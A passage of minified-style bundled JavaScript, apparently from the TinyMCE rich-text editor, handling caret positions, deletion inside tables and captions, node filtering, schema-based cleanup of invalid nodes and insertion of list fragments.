    const isAtZwsp = pos => isBeforeInline(pos) || isAfterInline(pos);
    const normalizePosition = (forward, pos) => {
      const container = pos.container(), offset = pos.offset();
      if (forward) {
        if (isCaretContainerInline(container)) {
          if (isText$a(container.nextSibling)) {
            return CaretPosition(container.nextSibling, 0);
          } else {
            return CaretPosition.after(container);
          }
        } else {
          return isBeforeInline(pos) ? CaretPosition(container, offset + 1) : pos;
        }
      } else {
        if (isCaretContainerInline(container)) {
          if (isText$a(container.previousSibling)) {
            return CaretPosition(container.previousSibling, container.previousSibling.data.length);
          } else {
            return CaretPosition.before(container);
          }
        } else {
          return isAfterInline(pos) ? CaretPosition(container, offset - 1) : pos;
        }
      }
    };
    const normalizeForwards = curry(normalizePosition, true);
    const normalizeBackwards = curry(normalizePosition, false);

    const execCommandIgnoreInputEvents = (editor, command) => {
      const inputBlocker = e => e.stopImmediatePropagation();
      editor.on('beforeinput input', inputBlocker, true);
      editor.getDoc().execCommand(command);
      editor.off('beforeinput input', inputBlocker);
    };
    const execEditorDeleteCommand = editor => {
      editor.execCommand('delete');
    };
    const execNativeDeleteCommand = editor => execCommandIgnoreInputEvents(editor, 'Delete');
    const execNativeForwardDeleteCommand = editor => execCommandIgnoreInputEvents(editor, 'ForwardDelete');
    const isBeforeRoot = rootNode => elm => is$2(parent(elm), rootNode, eq);
    const isTextBlockOrListItem = element => isTextBlock$2(element) || isListItem$1(element);
    const getParentBlock$2 = (rootNode, elm) => {
      if (contains(rootNode, elm)) {
        return closest$4(elm, isTextBlockOrListItem, isBeforeRoot(rootNode));
      } else {
        return Optional.none();
      }
    };
    const paddEmptyBody = (editor, moveSelection = true) => {
      if (editor.dom.isEmpty(editor.getBody())) {
        editor.setContent('', { no_selection: !moveSelection });
      }
    };
    const willDeleteLastPositionInElement = (forward, fromPos, elm) => lift2(firstPositionIn(elm), lastPositionIn(elm), (firstPos, lastPos) => {
      const normalizedFirstPos = normalizePosition(true, firstPos);
      const normalizedLastPos = normalizePosition(false, lastPos);
      const normalizedFromPos = normalizePosition(false, fromPos);
      if (forward) {
        return nextPosition(elm, normalizedFromPos).exists(nextPos => nextPos.isEqual(normalizedLastPos) && fromPos.isEqual(normalizedFirstPos));
      } else {
        return prevPosition(elm, normalizedFromPos).exists(prevPos => prevPos.isEqual(normalizedFirstPos) && fromPos.isEqual(normalizedLastPos));
      }
    }).getOr(true);
    const freefallRtl = root => {
      const child = isComment$1(root) ? prevSibling(root) : lastChild(root);
      return child.bind(freefallRtl).orThunk(() => Optional.some(root));
    };
    const deleteRangeContents = (editor, rng, root, moveSelection = true) => {
      var _a;
      rng.deleteContents();
      const lastNode = freefallRtl(root).getOr(root);
      const lastBlock = SugarElement.fromDom((_a = editor.dom.getParent(lastNode.dom, editor.dom.isBlock)) !== null && _a !== void 0 ? _a : root.dom);
      if (lastBlock.dom === editor.getBody()) {
        paddEmptyBody(editor, moveSelection);
      } else if (isEmpty$2(lastBlock)) {
        fillWithPaddingBr(lastBlock);
        if (moveSelection) {
          editor.selection.setCursorLocation(lastBlock.dom, 0);
        }
      }
      if (!eq(root, lastBlock)) {
        const additionalCleanupNodes = is$2(parent(lastBlock), root) ? [] : siblings(lastBlock);
        each$e(additionalCleanupNodes.concat(children$1(root)), node => {
          if (!eq(node, lastBlock) && !contains(node, lastBlock) && isEmpty$2(node)) {
            remove$6(node);
          }
        });
      }
    };

    const isRootFromElement = root => cur => eq(root, cur);
    const getTableCells = table => descendants(table, 'td,th');
    const getTableDetailsFromRange = (rng, isRoot) => {
      const getTable = node => getClosestTable(SugarElement.fromDom(node), isRoot);
      const startTable = getTable(rng.startContainer);
      const endTable = getTable(rng.endContainer);
      const isStartInTable = startTable.isSome();
      const isEndInTable = endTable.isSome();
      const isSameTable = lift2(startTable, endTable, eq).getOr(false);
      const isMultiTable = !isSameTable && isStartInTable && isEndInTable;
      return {
        startTable,
        endTable,
        isStartInTable,
        isEndInTable,
        isSameTable,
        isMultiTable
      };
    };

    const tableCellRng = (start, end) => ({
      start,
      end
    });
    const tableSelection = (rng, table, cells) => ({
      rng,
      table,
      cells
    });
    const deleteAction = Adt.generate([
      {
        singleCellTable: [
          'rng',
          'cell'
        ]
      },
      { fullTable: ['table'] },
      {
        partialTable: [
          'cells',
          'outsideDetails'
        ]
      },
      {
        multiTable: [
          'startTableCells',
          'endTableCells',
          'betweenRng'
        ]
      }
    ]);
    const getClosestCell$1 = (container, isRoot) => closest$3(SugarElement.fromDom(container), 'td,th', isRoot);
    const isExpandedCellRng = cellRng => !eq(cellRng.start, cellRng.end);
    const getTableFromCellRng = (cellRng, isRoot) => getClosestTable(cellRng.start, isRoot).bind(startParentTable => getClosestTable(cellRng.end, isRoot).bind(endParentTable => someIf(eq(startParentTable, endParentTable), startParentTable)));
    const isSingleCellTable = (cellRng, isRoot) => !isExpandedCellRng(cellRng) && getTableFromCellRng(cellRng, isRoot).exists(table => {
      const rows = table.dom.rows;
      return rows.length === 1 && rows[0].cells.length === 1;
    });
    const getCellRng = (rng, isRoot) => {
      const startCell = getClosestCell$1(rng.startContainer, isRoot);
      const endCell = getClosestCell$1(rng.endContainer, isRoot);
      return lift2(startCell, endCell, tableCellRng);
    };
    const getCellRangeFromStartTable = isRoot => startCell => getClosestTable(startCell, isRoot).bind(table => last$3(getTableCells(table)).map(endCell => tableCellRng(startCell, endCell)));
    const getCellRangeFromEndTable = isRoot => endCell => getClosestTable(endCell, isRoot).bind(table => head(getTableCells(table)).map(startCell => tableCellRng(startCell, endCell)));
    const getTableSelectionFromCellRng = isRoot => cellRng => getTableFromCellRng(cellRng, isRoot).map(table => tableSelection(cellRng, table, getTableCells(table)));
    const getTableSelections = (cellRng, selectionDetails, rng, isRoot) => {
      if (rng.collapsed || !cellRng.forall(isExpandedCellRng)) {
        return Optional.none();
      } else if (selectionDetails.isSameTable) {
        const sameTableSelection = cellRng.bind(getTableSelectionFromCellRng(isRoot));
        return Optional.some({
          start: sameTableSelection,
          end: sameTableSelection
        });
      } else {
        const startCell = getClosestCell$1(rng.startContainer, isRoot);
        const endCell = getClosestCell$1(rng.endContainer, isRoot);
        const startTableSelection = startCell.bind(getCellRangeFromStartTable(isRoot)).bind(getTableSelectionFromCellRng(isRoot));
        const endTableSelection = endCell.bind(getCellRangeFromEndTable(isRoot)).bind(getTableSelectionFromCellRng(isRoot));
        return Optional.some({
          start: startTableSelection,
          end: endTableSelection
        });
      }
    };
    const getCellIndex = (cells, cell) => findIndex$2(cells, x => eq(x, cell));
    const getSelectedCells = tableSelection => lift2(getCellIndex(tableSelection.cells, tableSelection.rng.start), getCellIndex(tableSelection.cells, tableSelection.rng.end), (startIndex, endIndex) => tableSelection.cells.slice(startIndex, endIndex + 1));
    const isSingleCellTableContentSelected = (optCellRng, rng, isRoot) => optCellRng.exists(cellRng => isSingleCellTable(cellRng, isRoot) && hasAllContentsSelected(cellRng.start, rng));
    const unselectCells = (rng, selectionDetails) => {
      const {startTable, endTable} = selectionDetails;
      const otherContentRng = rng.cloneRange();
      startTable.each(table => otherContentRng.setStartAfter(table.dom));
      endTable.each(table => otherContentRng.setEndBefore(table.dom));
      return otherContentRng;
    };
    const handleSingleTable = (cellRng, selectionDetails, rng, isRoot) => getTableSelections(cellRng, selectionDetails, rng, isRoot).bind(({start, end}) => start.or(end)).bind(tableSelection => {
      const {isSameTable} = selectionDetails;
      const selectedCells = getSelectedCells(tableSelection).getOr([]);
      if (isSameTable && tableSelection.cells.length === selectedCells.length) {
        return Optional.some(deleteAction.fullTable(tableSelection.table));
      } else if (selectedCells.length > 0) {
        if (isSameTable) {
          return Optional.some(deleteAction.partialTable(selectedCells, Optional.none()));
        } else {
          const otherContentRng = unselectCells(rng, selectionDetails);
          return Optional.some(deleteAction.partialTable(selectedCells, Optional.some({
            ...selectionDetails,
            rng: otherContentRng
          })));
        }
      } else {
        return Optional.none();
      }
    });
    const handleMultiTable = (cellRng, selectionDetails, rng, isRoot) => getTableSelections(cellRng, selectionDetails, rng, isRoot).bind(({start, end}) => {
      const startTableSelectedCells = start.bind(getSelectedCells).getOr([]);
      const endTableSelectedCells = end.bind(getSelectedCells).getOr([]);
      if (startTableSelectedCells.length > 0 && endTableSelectedCells.length > 0) {
        const otherContentRng = unselectCells(rng, selectionDetails);
        return Optional.some(deleteAction.multiTable(startTableSelectedCells, endTableSelectedCells, otherContentRng));
      } else {
        return Optional.none();
      }
    });
    const getActionFromRange = (root, rng) => {
      const isRoot = isRootFromElement(root);
      const optCellRng = getCellRng(rng, isRoot);
      const selectionDetails = getTableDetailsFromRange(rng, isRoot);
      if (isSingleCellTableContentSelected(optCellRng, rng, isRoot)) {
        return optCellRng.map(cellRng => deleteAction.singleCellTable(rng, cellRng.start));
      } else if (selectionDetails.isMultiTable) {
        return handleMultiTable(optCellRng, selectionDetails, rng, isRoot);
      } else {
        return handleSingleTable(optCellRng, selectionDetails, rng, isRoot);
      }
    };

    const cleanCells = cells => each$e(cells, cell => {
      remove$b(cell, 'contenteditable');
      fillWithPaddingBr(cell);
    });
    const getOutsideBlock = (editor, container) => Optional.from(editor.dom.getParent(container, editor.dom.isBlock)).map(SugarElement.fromDom);
    const handleEmptyBlock = (editor, startInTable, emptyBlock) => {
      emptyBlock.each(block => {
        if (startInTable) {
          remove$6(block);
        } else {
          fillWithPaddingBr(block);
          editor.selection.setCursorLocation(block.dom, 0);
        }
      });
    };
    const deleteContentInsideCell = (editor, cell, rng, isFirstCellInSelection) => {
      const insideTableRng = rng.cloneRange();
      if (isFirstCellInSelection) {
        insideTableRng.setStart(rng.startContainer, rng.startOffset);
        insideTableRng.setEndAfter(cell.dom.lastChild);
      } else {
        insideTableRng.setStartBefore(cell.dom.firstChild);
        insideTableRng.setEnd(rng.endContainer, rng.endOffset);
      }
      deleteCellContents(editor, insideTableRng, cell, false).each(action => action());
    };
    const collapseAndRestoreCellSelection = editor => {
      const selectedCells = getCellsFromEditor(editor);
      const selectedNode = SugarElement.fromDom(editor.selection.getNode());
      if (isTableCell$3(selectedNode.dom) && isEmpty$2(selectedNode)) {
        editor.selection.setCursorLocation(selectedNode.dom, 0);
      } else {
        editor.selection.collapse(true);
      }
      if (selectedCells.length > 1 && exists(selectedCells, cell => eq(cell, selectedNode))) {
        set$2(selectedNode, 'data-mce-selected', '1');
      }
    };
    const emptySingleTableCells = (editor, cells, outsideDetails) => Optional.some(() => {
      const editorRng = editor.selection.getRng();
      const cellsToClean = outsideDetails.bind(({rng, isStartInTable}) => {
        const outsideBlock = getOutsideBlock(editor, isStartInTable ? rng.endContainer : rng.startContainer);
        rng.deleteContents();
        handleEmptyBlock(editor, isStartInTable, outsideBlock.filter(isEmpty$2));
        const endPointCell = isStartInTable ? cells[0] : cells[cells.length - 1];
        deleteContentInsideCell(editor, endPointCell, editorRng, isStartInTable);
        if (!isEmpty$2(endPointCell)) {
          return Optional.some(isStartInTable ? cells.slice(1) : cells.slice(0, -1));
        } else {
          return Optional.none();
        }
      }).getOr(cells);
      cleanCells(cellsToClean);
      collapseAndRestoreCellSelection(editor);
    });
    const emptyMultiTableCells = (editor, startTableCells, endTableCells, betweenRng) => Optional.some(() => {
      const rng = editor.selection.getRng();
      const startCell = startTableCells[0];
      const endCell = endTableCells[endTableCells.length - 1];
      deleteContentInsideCell(editor, startCell, rng, true);
      deleteContentInsideCell(editor, endCell, rng, false);
      const startTableCellsToClean = isEmpty$2(startCell) ? startTableCells : startTableCells.slice(1);
      const endTableCellsToClean = isEmpty$2(endCell) ? endTableCells : endTableCells.slice(0, -1);
      cleanCells(startTableCellsToClean.concat(endTableCellsToClean));
      betweenRng.deleteContents();
      collapseAndRestoreCellSelection(editor);
    });
    const deleteCellContents = (editor, rng, cell, moveSelection = true) => Optional.some(() => {
      deleteRangeContents(editor, rng, cell, moveSelection);
    });
    const deleteTableElement = (editor, table) => Optional.some(() => deleteElement$2(editor, false, table));
    const deleteCellRange = (editor, rootElm, rng) => getActionFromRange(rootElm, rng).bind(action => action.fold(curry(deleteCellContents, editor), curry(deleteTableElement, editor), curry(emptySingleTableCells, editor), curry(emptyMultiTableCells, editor)));
    const deleteCaptionRange = (editor, caption) => emptyElement(editor, caption);
    const deleteTableRange = (editor, rootElm, rng, startElm) => getParentCaption(rootElm, startElm).fold(() => deleteCellRange(editor, rootElm, rng), caption => deleteCaptionRange(editor, caption));
    const deleteRange$2 = (editor, startElm, selectedCells) => {
      const rootNode = SugarElement.fromDom(editor.getBody());
      const rng = editor.selection.getRng();
      return selectedCells.length !== 0 ? emptySingleTableCells(editor, selectedCells, Optional.none()) : deleteTableRange(editor, rootNode, rng, startElm);
    };
    const getParentCell = (rootElm, elm) => find$2(parentsAndSelf(elm, rootElm), isTableCell$2);
    const getParentCaption = (rootElm, elm) => find$2(parentsAndSelf(elm, rootElm), isTag('caption'));
    const deleteBetweenCells = (editor, rootElm, forward, fromCell, from) => navigate(forward, editor.getBody(), from).bind(to => getParentCell(rootElm, SugarElement.fromDom(to.getNode())).bind(toCell => eq(toCell, fromCell) ? Optional.none() : Optional.some(noop)));
    const emptyElement = (editor, elm) => Optional.some(() => {
      fillWithPaddingBr(elm);
      editor.selection.setCursorLocation(elm.dom, 0);
    });
    const isDeleteOfLastCharPos = (fromCaption, forward, from, to) => firstPositionIn(fromCaption.dom).bind(first => lastPositionIn(fromCaption.dom).map(last => forward ? from.isEqual(first) && to.isEqual(last) : from.isEqual(last) && to.isEqual(first))).getOr(true);
    const emptyCaretCaption = (editor, elm) => emptyElement(editor, elm);
    const validateCaretCaption = (rootElm, fromCaption, to) => getParentCaption(rootElm, SugarElement.fromDom(to.getNode())).fold(() => Optional.some(noop), toCaption => someIf(!eq(toCaption, fromCaption), noop));
    const deleteCaretInsideCaption = (editor, rootElm, forward, fromCaption, from) => navigate(forward, editor.getBody(), from).fold(() => Optional.some(noop), to => isDeleteOfLastCharPos(fromCaption, forward, from, to) ? emptyCaretCaption(editor, fromCaption) : validateCaretCaption(rootElm, fromCaption, to));
    const deleteCaretCells = (editor, forward, rootElm, startElm) => {
      const from = CaretPosition.fromRangeStart(editor.selection.getRng());
      return getParentCell(rootElm, startElm).bind(fromCell => isEmpty$2(fromCell) ? emptyElement(editor, fromCell) : deleteBetweenCells(editor, rootElm, forward, fromCell, from));
    };
    const deleteCaretCaption = (editor, forward, rootElm, fromCaption) => {
      const from = CaretPosition.fromRangeStart(editor.selection.getRng());
      return isEmpty$2(fromCaption) ? emptyElement(editor, fromCaption) : deleteCaretInsideCaption(editor, rootElm, forward, fromCaption, from);
    };
    const isNearTable = (forward, pos) => forward ? isBeforeTable(pos) : isAfterTable(pos);
    const isBeforeOrAfterTable = (editor, forward) => {
      const fromPos = CaretPosition.fromRangeStart(editor.selection.getRng());
      return isNearTable(forward, fromPos) || fromPosition(forward, editor.getBody(), fromPos).exists(pos => isNearTable(forward, pos));
    };
    const deleteCaret$3 = (editor, forward, startElm) => {
      const rootElm = SugarElement.fromDom(editor.getBody());
      return getParentCaption(rootElm, startElm).fold(() => deleteCaretCells(editor, forward, rootElm, startElm).orThunk(() => someIf(isBeforeOrAfterTable(editor, forward), noop)), fromCaption => deleteCaretCaption(editor, forward, rootElm, fromCaption));
    };
    const backspaceDelete$9 = (editor, forward) => {
      const startElm = SugarElement.fromDom(editor.selection.getStart(true));
      const cells = getCellsFromEditor(editor);
      return editor.selection.isCollapsed() && cells.length === 0 ? deleteCaret$3(editor, forward, startElm) : deleteRange$2(editor, startElm, cells);
    };

    const getContentEditableRoot$1 = (root, node) => {
      let tempNode = node;
      while (tempNode && tempNode !== root) {
        if (isContentEditableTrue$3(tempNode) || isContentEditableFalse$a(tempNode)) {
          return tempNode;
        }
        tempNode = tempNode.parentNode;
      }
      return null;
    };

    const internalAttributesPrefixes = [
      'data-ephox-',
      'data-mce-',
      'data-alloy-',
      'data-snooker-',
      '_'
    ];
    const each$9 = Tools.each;
    const ElementUtils = editor => {
      const dom = editor.dom;
      const internalAttributes = new Set(editor.serializer.getTempAttrs());
      const compare = (node1, node2) => {
        if (node1.nodeName !== node2.nodeName || node1.nodeType !== node2.nodeType) {
          return false;
        }
        const getAttribs = node => {
          const attribs = {};
          each$9(dom.getAttribs(node), attr => {
            const name = attr.nodeName.toLowerCase();
            if (name !== 'style' && !isAttributeInternal(name)) {
              attribs[name] = dom.getAttrib(node, name);
            }
          });
          return attribs;
        };
        const compareObjects = (obj1, obj2) => {
          for (const name in obj1) {
            if (has$2(obj1, name)) {
              const value = obj2[name];
              if (isUndefined(value)) {
                return false;
              }
              if (obj1[name] !== value) {
                return false;
              }
              delete obj2[name];
            }
          }
          for (const name in obj2) {
            if (has$2(obj2, name)) {
              return false;
            }
          }
          return true;
        };
        if (isElement$6(node1) && isElement$6(node2)) {
          if (!compareObjects(getAttribs(node1), getAttribs(node2))) {
            return false;
          }
          if (!compareObjects(dom.parseStyle(dom.getAttrib(node1, 'style')), dom.parseStyle(dom.getAttrib(node2, 'style')))) {
            return false;
          }
        }
        return !isBookmarkNode$1(node1) && !isBookmarkNode$1(node2);
      };
      const isAttributeInternal = attributeName => exists(internalAttributesPrefixes, value => startsWith(attributeName, value)) || internalAttributes.has(attributeName);
      return {
        compare,
        isAttributeInternal
      };
    };

    const traverse = (root, fn) => {
      let node = root;
      while (node = node.walk()) {
        fn(node);
      }
    };
    const matchNode$1 = (nodeFilters, attributeFilters, node, matches) => {
      const name = node.name;
      for (let ni = 0, nl = nodeFilters.length; ni < nl; ni++) {
        const filter = nodeFilters[ni];
        if (filter.name === name) {
          const match = matches.nodes[name];
          if (match) {
            match.nodes.push(node);
          } else {
            matches.nodes[name] = {
              filter,
              nodes: [node]
            };
          }
        }
      }
      if (node.attributes) {
        for (let ai = 0, al = attributeFilters.length; ai < al; ai++) {
          const filter = attributeFilters[ai];
          const attrName = filter.name;
          if (attrName in node.attributes.map) {
            const match = matches.attributes[attrName];
            if (match) {
              match.nodes.push(node);
            } else {
              matches.attributes[attrName] = {
                filter,
                nodes: [node]
              };
            }
          }
        }
      }
    };
    const findMatchingNodes = (nodeFilters, attributeFilters, node) => {
      const matches = {
        nodes: {},
        attributes: {}
      };
      if (node.firstChild) {
        traverse(node, childNode => {
          matchNode$1(nodeFilters, attributeFilters, childNode, matches);
        });
      }
      return matches;
    };
    const runFilters = (matches, args) => {
      const run = (matchRecord, filteringAttributes) => {
        each$d(matchRecord, match => {
          const nodes = from(match.nodes);
          each$e(match.filter.callbacks, callback => {
            for (let i = nodes.length - 1; i >= 0; i--) {
              const node = nodes[i];
              const valueMatches = filteringAttributes ? node.attr(match.filter.name) !== undefined : node.name === match.filter.name;
              if (!valueMatches || isNullable(node.parent)) {
                nodes.splice(i, 1);
              }
            }
            if (nodes.length > 0) {
              callback(nodes, match.filter.name, args);
            }
          });
        });
      };
      run(matches.nodes, false);
      run(matches.attributes, true);
    };
    const filter$2 = (nodeFilters, attributeFilters, node, args = {}) => {
      const matches = findMatchingNodes(nodeFilters, attributeFilters, node);
      runFilters(matches, args);
    };

    const paddEmptyNode = (args, isBlock, node) => {
      if (args.insert && isBlock(node)) {
        const astNode = new AstNode('br', 1);
        astNode.attr('data-mce-bogus', '1');
        node.empty().append(astNode);
      } else {
        node.empty().append(new AstNode('#text', 3)).value = nbsp;
      }
    };
    const isPaddedWithNbsp = node => {
      var _a;
      return hasOnlyChild(node, '#text') && ((_a = node === null || node === void 0 ? void 0 : node.firstChild) === null || _a === void 0 ? void 0 : _a.value) === nbsp;
    };
    const hasOnlyChild = (node, name) => {
      const firstChild = node === null || node === void 0 ? void 0 : node.firstChild;
      return isNonNullable(firstChild) && firstChild === node.lastChild && firstChild.name === name;
    };
    const isPadded = (schema, node) => {
      const rule = schema.getElementRule(node.name);
      return (rule === null || rule === void 0 ? void 0 : rule.paddEmpty) === true;
    };
    const isEmpty = (schema, nonEmptyElements, whitespaceElements, node) => node.isEmpty(nonEmptyElements, whitespaceElements, node => isPadded(schema, node));
    const isLineBreakNode = (node, isBlock) => isNonNullable(node) && (isBlock(node) || node.name === 'br');

    const removeOrUnwrapInvalidNode = (node, schema, originalNodeParent = node.parent) => {
      if (schema.getSpecialElements()[node.name]) {
        node.empty().remove();
      } else {
        const children = node.children();
        for (const childNode of children) {
          if (originalNodeParent && !schema.isValidChild(originalNodeParent.name, childNode.name)) {
            removeOrUnwrapInvalidNode(childNode, schema, originalNodeParent);
          }
        }
        node.unwrap();
      }
    };
    const cleanInvalidNodes = (nodes, schema, onCreate = noop) => {
      const textBlockElements = schema.getTextBlockElements();
      const nonEmptyElements = schema.getNonEmptyElements();
      const whitespaceElements = schema.getWhitespaceElements();
      const nonSplittableElements = Tools.makeMap('tr,td,th,tbody,thead,tfoot,table');
      const fixed = new Set();
      for (let ni = 0; ni < nodes.length; ni++) {
        const node = nodes[ni];
        let parent;
        let newParent;
        let tempNode;
        if (!node.parent || fixed.has(node)) {
          continue;
        }
        if (textBlockElements[node.name] && node.parent.name === 'li') {
          let sibling = node.next;
          while (sibling) {
            if (textBlockElements[sibling.name]) {
              sibling.name = 'li';
              fixed.add(sibling);
              node.parent.insert(sibling, node.parent);
            } else {
              break;
            }
            sibling = sibling.next;
          }
          node.unwrap();
          continue;
        }
        const parents = [node];
        for (parent = node.parent; parent && !schema.isValidChild(parent.name, node.name) && !nonSplittableElements[parent.name]; parent = parent.parent) {
          parents.push(parent);
        }
        if (parent && parents.length > 1) {
          if (schema.isValidChild(parent.name, node.name)) {
            parents.reverse();
            newParent = parents[0].clone();
            onCreate(newParent);
            let currentNode = newParent;
            for (let i = 0; i < parents.length - 1; i++) {
              if (schema.isValidChild(currentNode.name, parents[i].name)) {
                tempNode = parents[i].clone();
                onCreate(tempNode);
                currentNode.append(tempNode);
              } else {
                tempNode = currentNode;
              }
              for (let childNode = parents[i].firstChild; childNode && childNode !== parents[i + 1];) {
                const nextNode = childNode.next;
                tempNode.append(childNode);
                childNode = nextNode;
              }
              currentNode = tempNode;
            }
            if (!isEmpty(schema, nonEmptyElements, whitespaceElements, newParent)) {
              parent.insert(newParent, parents[0], true);
              parent.insert(node, newParent);
            } else {
              parent.insert(node, parents[0], true);
            }
            parent = parents[0];
            if (isEmpty(schema, nonEmptyElements, whitespaceElements, parent) || hasOnlyChild(parent, 'br')) {
              parent.empty().remove();
            }
          } else {
            removeOrUnwrapInvalidNode(node, schema);
          }
        } else if (node.parent) {
          if (node.name === 'li') {
            let sibling = node.prev;
            if (sibling && (sibling.name === 'ul' || sibling.name === 'ol')) {
              sibling.append(node);
              continue;
            }
            sibling = node.next;
            if (sibling && (sibling.name === 'ul' || sibling.name === 'ol') && sibling.firstChild) {
              sibling.insert(node, sibling.firstChild, true);
              continue;
            }
            const wrapper = new AstNode('ul', 1);
            onCreate(wrapper);
            node.wrap(wrapper);
            continue;
          }
          if (schema.isValidChild(node.parent.name, 'div') && schema.isValidChild('div', node.name)) {
            const wrapper = new AstNode('div', 1);
            onCreate(wrapper);
            node.wrap(wrapper);
          } else {
            removeOrUnwrapInvalidNode(node, schema);
          }
        }
      }
    };
    const hasClosest = (node, parentName) => {
      let tempNode = node;
      while (tempNode) {
        if (tempNode.name === parentName) {
          return true;
        }
        tempNode = tempNode.parent;
      }
      return false;
    };
    const isInvalid = (schema, node, parent = node.parent) => {
      if (parent && schema.children[node.name] && !schema.isValidChild(parent.name, node.name)) {
        return true;
      } else if (parent && node.name === 'a' && hasClosest(parent, 'a')) {
        return true;
      } else {
        return false;
      }
    };

    const createRange = (sc, so, ec, eo) => {
      const rng = document.createRange();
      rng.setStart(sc, so);
      rng.setEnd(ec, eo);
      return rng;
    };
    const normalizeBlockSelectionRange = rng => {
      const startPos = CaretPosition.fromRangeStart(rng);
      const endPos = CaretPosition.fromRangeEnd(rng);
      const rootNode = rng.commonAncestorContainer;
      return fromPosition(false, rootNode, endPos).map(newEndPos => {
        if (!isInSameBlock(startPos, endPos, rootNode) && isInSameBlock(startPos, newEndPos, rootNode)) {
          return createRange(startPos.container(), startPos.offset(), newEndPos.container(), newEndPos.offset());
        } else {
          return rng;
        }
      }).getOr(rng);
    };
    const normalize = rng => rng.collapsed ? rng : normalizeBlockSelectionRange(rng);

    const hasOnlyOneChild$1 = node => {
      return isNonNullable(node.firstChild) && node.firstChild === node.lastChild;
    };
    const isPaddingNode = node => {
      return node.name === 'br' || node.value === nbsp;
    };
    const isPaddedEmptyBlock = (schema, node) => {
      const blockElements = schema.getBlockElements();
      return blockElements[node.name] && hasOnlyOneChild$1(node) && isPaddingNode(node.firstChild);
    };
    const isEmptyFragmentElement = (schema, node) => {
      const nonEmptyElements = schema.getNonEmptyElements();
      return isNonNullable(node) && (node.isEmpty(nonEmptyElements) || isPaddedEmptyBlock(schema, node));
    };
    const isListFragment = (schema, fragment) => {
      let firstChild = fragment.firstChild;
      let lastChild = fragment.lastChild;
      if (firstChild && firstChild.name === 'meta') {
        firstChild = firstChild.next;
      }
      if (lastChild && lastChild.attr('id') === 'mce_marker') {
        lastChild = lastChild.prev;
      }
      if (isEmptyFragmentElement(schema, lastChild)) {
        lastChild = lastChild === null || lastChild === void 0 ? void 0 : lastChild.prev;
      }
      if (!firstChild || firstChild !== lastChild) {
        return false;
      }
      return firstChild.name === 'ul' || firstChild.name === 'ol';
    };
    const cleanupDomFragment = domFragment => {
      var _a, _b;
      const firstChild = domFragment.firstChild;
      const lastChild = domFragment.lastChild;
      if (firstChild && firstChild.nodeName === 'META') {
        (_a = firstChild.parentNode) === null || _a === void 0 ? void 0 : _a.removeChild(firstChild);
      }
      if (lastChild && lastChild.id === 'mce_marker') {
        (_b = lastChild.parentNode) === null || _b === void 0 ? void 0 : _b.removeChild(lastChild);
      }
      return domFragment;
    };
    const toDomFragment = (dom, serializer, fragment) => {
      const html = serializer.serialize(fragment);
      const domFragment = dom.createFragment(html);
      return cleanupDomFragment(domFragment);
    };
    const listItems = elm => {
      var _a;
      return filter$5((_a = elm === null || elm === void 0 ? void 0 : elm.childNodes) !== null && _a !== void 0 ? _a : [], child => {
        return child.nodeName === 'LI';
      });
    };
    const isPadding = node => {
      return node.data === nbsp || isBr$6(node);
    };
    const isListItemPadded = node => {
      return isNonNullable(node === null || node === void 0 ? void 0 : node.firstChild) && node.firstChild === node.lastChild && isPadding(node.firstChild);
    };
    const isEmptyOrPadded = elm => {
      return !elm.firstChild || isListItemPadded(elm);
    };
    const trimListItems = elms => {
      return elms.length > 0 && isEmptyOrPadded(elms[elms.length - 1]) ? elms.slice(0, -1) : elms;
    };
    const getParentLi = (dom, node) => {
      const parentBlock = dom.getParent(node, dom.isBlock);
      return parentBlock && parentBlock.nodeName === 'LI' ? parentBlock : null;
    };
    const isParentBlockLi = (dom, node) => {
      return !!getParentLi(dom, node);
    };
    const getSplit = (parentNode, rng) => {
      const beforeRng = rng.cloneRange();
      const afterRng = rng.cloneRange();
      beforeRng.setStartBefore(parentNode);
      afterRng.setEndAfter(parentNode);
      return [
        beforeRng.cloneContents(),
        afterRng.cloneContents()
      ];
    };
    const findFirstIn = (node, rootNode) => {
      const caretPos = CaretPosition.before(node);
      const caretWalker = CaretWalker(rootNode);
      const newCaretPos = caretWalker.next(caretPos);
      return newCaretPos ? newCaretPos.toRange() : null;
    };
    const findLastOf = (node, rootNode) => {
      const caretPos = CaretPosition.after(node);
      const caretWalker = CaretWalker(rootNode);
      const newCaretPos = caretWalker.prev(caretPos);
      return newCaretPos ? newCaretPos.toRange() : null;
    };
    const insertMiddle = (target, elms, rootNode, rng) => {
      const parts = getSplit(target, rng);
      const parentElm = target.parentNode;
      if (parentElm) {
        parentElm.insertBefore(parts[0], target);
        Tools.each(elms, li => {
          parentElm.insertBefore(li, target);
        });
        parentElm.insertBefore(parts[1], target);
        parentElm.removeChild(target);
      }
      return findLastOf(elms[elms.length - 1], rootNode);
    };
    const insertBefore$1 = (target, elms, rootNode) => {
      const parentElm = target.parentNode;
      if (parentElm) {
        Tools.each(elms, elm => {
          parentElm.insertBefore(elm, target);
        });
      }
      return findFirstIn(target, rootNode);
    };
    const insertAfter$1 = (target, elms, rootNode, dom) => {
      dom.insertAfter(elms.reverse(), target);
      return findLastOf(elms[0], rootNode);
    };
    const insertAtCaret$1 = (serializer, dom, rng, fragment) => {
      const domFragment = toDomFragment(dom, serializer, fragment);
      const liTarget = getParentLi(dom, rng.startContainer);
      const liElms = trimListItems(listItems(domFragment.firstChild));
      const BEGINNING = 1, END = 2;
      const rootNode = dom.getRoot();
      const isAt = location => {
        const caretPos = CaretPosition.fromRangeStart(rng);
        const caretWalker = CaretWalker(dom.getRoot());
        const newPos = location === BEGINNING ? caretWalker.prev(caretPos) : caretWalker.next(caretPos);
        const newPosNode = newPos === null || newPos === void 0 ? void 0 : newPos.getNode();
        return newPosNode ? getParentLi(dom, newPosNode) !== liTarget : true;
      };
      if (!liTarget) {
        return null;
      } else if (isAt(BEGINNING)) {
        return insertBefore$1(liTarget, liElms, rootNode);
      } else if (isAt(END)) {
        return insertAfter$1(liTarget, liElms, rootNode, dom);
      } else {
        return insertMiddle(liTarget, liElms, rootNode, rng);
      }
    };

    const mergeableWrappedElements = ['pre'];
    const shouldPasteContentOnly = (dom, fragment, parentNode, root) => {
      var _a;
      const firstNode = fragment.firstChild;
      const lastNode = fragment.lastChild;
      const last = lastNode.attr('data-mce-type') === 'bookmark' ? lastNode.prev : lastNode;
      const isPastingSingleElement = firstNode === last;
      const isWrappedElement = contains$2(mergeableWrappedElements, firstNode.name);
      if (isPastingSingleElement && isWrappedElement) {
        const isContentEditable = firstNode.attr('contenteditable') !== 'false';
        const isPastingInTheSameBlockTag = ((_a = dom.getParent(parentNode, dom.isBlock)) === null || _a === void 0 ? void 0 : _a.nodeName.toLowerCase()) === firstNode.name;
